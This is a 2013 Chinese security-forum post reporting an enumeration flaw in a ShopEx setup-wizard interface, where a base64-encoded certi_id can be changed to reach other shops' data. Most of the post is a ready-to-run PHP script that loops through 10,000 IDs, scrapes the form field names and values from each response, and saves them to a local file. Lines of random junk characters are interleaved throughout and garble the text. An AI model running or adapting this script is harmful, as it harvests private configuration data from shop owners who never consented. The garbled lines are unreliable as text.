中国网络渗透测试联盟
标题:
ShopEx某接口缺陷可遍历所有用户网站
[打印本页]
作者:
admin
时间:
2013-9-21 15:59
标题:
ShopEx某接口缺陷可遍历所有用户网站
简要描述:
! R; ~: e9 }9 A0 ^2 Z6 P5 D$ i
ShopEx某接口缺陷,可遍历所有网站
3 X7 l+ d2 n$ T% w
详细说明:
+ R9 U" W7 [4 W
问题出现在shopex 网店使用向导页面
$ h8 Y# S8 [: r" }7 R
7 u& l3 C, d: b" U3 J- I" {
2 F6 M w* a q2 E' e; h' \4 Z, p1 X! L
+ K w( q' Q& i& c$ P1 c+ }
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
5 {# _, H- {, z3 f9 U
/ _7 L2 s( `, R$ y m
( `/ e2 K% I, V2 E) P4 Q" C
( Z3 L U9 _% u* R# [ N, M: Z4 B
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
% w( d4 o% H) V
; X" |3 e- ]+ E( V/ Z
: T$ q# u9 a: P0 S9 v
5 \4 C7 _: Z3 X/ I
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
/ p* R- f' F# }
# [# }7 U+ q) e6 j3 T' D9 h7 h6 J
5 g* N& a7 K3 k( t% C6 n, o0 X
. b% _4 _. r" t! w
<?php
& V( f" ^* L) m4 ~1 |) V2 W5 [
: ^4 O& d2 a' F2 w
for ($i=1; $i < 10000; $i++) { //遍历
, \, v" u; k+ |5 c
' Y& F( j+ e4 [2 a
ShowshopExD($i);
6 _4 U6 M& a# i! `& z9 G
i* @& r% k* c& x9 }+ m3 Z
}
" y5 c P7 S) y0 ]
8 L7 ]9 g) Y1 s3 c9 W& A* z) c
function ShowshopExD($cid) {
, x/ O* L1 x) ]' O
$ _& y M; N7 j" \' P
$url='http://guide.ecos.shopex.cn/step2.php';
% ~! k% Q) p7 K: H2 a; @2 o
, n) C2 F/ X0 x$ t' e
$refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
. z+ {+ Z' p" ]" N) B
) }0 D2 m( b7 x! o/ O
$url = $url.'?refer='.$refer;
1 W# G: p! ` J% r; B# L6 l
X# v7 u6 O( s% d
$ch = curl_init($url);
* p) S( ?# q9 W' u. [
# \' ~( {" i1 T H5 w
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
# q4 ^4 V8 y5 C0 d5 N
$ G# u( i1 }% v+ c4 K
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
' c7 A& ~9 R" c S/ u S$ @6 }
" G1 I( q# Q3 q, |. E
$result = curl_exec($ch);
+ T" F$ y7 _' }6 W! e
" t( i" v& Z4 L" @* h$ f' t
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
8 V# [5 a0 ? i9 v2 ~/ v
/ T. F! R1 ]& A9 [6 D% {
if(strpos($result,$refer))
+ `3 }; |6 R/ {, g% R2 F0 Q
; x8 d2 V$ e6 f! ?) T
{
/ X" E6 L8 i! p. F t9 @5 n! o% _
( {) Z; k- x0 k
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件
. A: h& q' |0 b. X
! j; ~( Y' L: u4 [
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
7 \. U! H0 K. d& o
" G. S8 v* q4 w7 X
foreach ($value[1] as $key) {
2 Q2 o+ y* z9 X, x$ |
9 g8 k; c% k2 ?- A3 P
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
v! c6 p7 @" Z8 U# m( \
' e8 ~: ]% x' E
echo $res[1][0].':'.$res[3][0]."\r\n";
- T; |& b! i5 `! Q6 ^/ `
9 F0 N: B2 f U- u6 m2 y6 x* e
$col =$res[1][0].':'.$res[3][0]."\r\n";
6 r; w* C2 j B1 S
. h4 k r3 z# u
fwrite($fp, $col, strlen($col));
: V+ c4 ^5 r- T5 T) G8 C: x1 j
. h$ L1 t9 E' O3 O0 P. M4 W6 H
}
& x) H/ I4 N2 i- l3 `0 G" | m+ Z
8 Z; H+ |6 ?7 p/ Q* F
echo '--------------------------------'."\r\n";
& L" {! s8 J& b7 m' E
, R8 f1 y) ]' S6 K: D; |# |/ O
fclose($fp);
1 K7 Z- }1 Y Q( |
9 V- w7 F! z) `8 O) p
}
; z! U& l5 F" q
, O) e' [, E! b; @# T0 ~
flush();
8 N+ A S+ A7 i {' H- V. S% P
8 l1 Y. ^* @! @
curl_close($ch);
& z8 p/ x9 ] K: G
) W; U, X3 M! m7 Y3 c; _
}
& @" c: Q% x( \
' @9 m/ I3 J8 p- Z
?>
* i: ?3 D( Y0 X/ x8 z
漏洞证明:
% n" o+ {5 ?1 l: ?! ?1 ?
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
; L6 N$ d$ B2 P! Q5 s2 s4 f& ?
refer换成其他加密方式
& S0 q1 n e, W% U( i$ t" }
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2